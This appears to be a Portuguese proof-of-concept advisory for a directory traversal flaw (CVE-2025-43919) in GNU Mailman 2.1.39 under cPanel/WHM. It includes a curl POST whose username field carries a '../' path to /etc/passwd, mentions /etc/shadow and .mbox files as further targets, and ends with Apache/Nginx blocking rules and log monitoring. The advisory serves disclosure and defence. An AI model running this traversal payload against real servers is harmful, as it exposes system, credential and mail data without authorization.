
Prova de conceito para CVE-2025-43919: travessia de diretório no GNU Mailman 2.1.39 (cPanel/WHM). Explora solicitações POST não autenticadas para ler arquivos arbitrários do servidor, incluindo /etc/passwd e dados de configuração.
Descoberto por: Firudin Davudzada & Musazada Aydan
Data de Divulgação: Abril de 2025
ID CVE: CVE-2025-43919
Severidade: 5.8 Média (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N)
Tipo de Ataque: Remoto
Software Afetado: GNU Mailman 2.1.39 (integrado ao cPanel/WHM)
O GNU Mailman 2.1.39, conforme distribuído com cPanel e WHM, contém uma vulnerabilidade crítica de travessia de diretório no endpoint /mailman/private/mailman. Atacantes não autenticados podem explorar essa falha para ler arquivos arbitrários no servidor, como /etc/passwd ou arquivos de configuração do Mailman, devido à validação insuficiente de entrada no script CGI private.py. Essa vulnerabilidade representa riscos significativos de divulgação de informações e pode facilitar ataques adicionais quando combinada com outras explorações.
private.py (lida com autenticação de arquivos privados)archive.py (lógica de processamento de arquivos)Mailman/Handlers/ (lógica central de listas de discussão).mboxusername em requisições POST para /mailman/private/mailman não é sanitizado, permitindo sequências ../ para percorrer o sistema de arquivos.O seguinte comando demonstra o acesso não autorizado a /etc/passwd:
curl -X POST -d "username=../../../../etc/passwd&password=x&submit=Let+me+in..." http://alvo/mailman/private/mailman
Saída Esperada: Conteúdo de /etc/passwd ou outros arquivos alvo, dependendo das permissões do servidor.
/mailman/private/mailman com parâmetros username contendo .././etc/passwd, /etc/shadow se as permissões permitirem)..mbox para extrair dados de usuários ou conteúdo de e-mail.Restringir Acesso ao Endpoint: Configurar o servidor web para bloquear acesso não autorizado a /mailman/private:
<Location "/mailman/private">
Require ip 127.0.0.1
Deny from all
</Location>
Ou para Nginx:
location /mailman/private {
deny all;
return 403;
}
Monitorar Logs: Verificar requisições POST suspeitas para /mailman/private/mailman:
tail -f /var/log/httpd/access_log | grep "/mailman/private"
Firudin Davudzada e Musazada Aydan divulgaram responsavelmente esta vulnerabilidade durante um engajamento autorizado de teste de penetração. Agradecemos à equipe MITRE CVE pela coordenação.
E-mail: [email protected]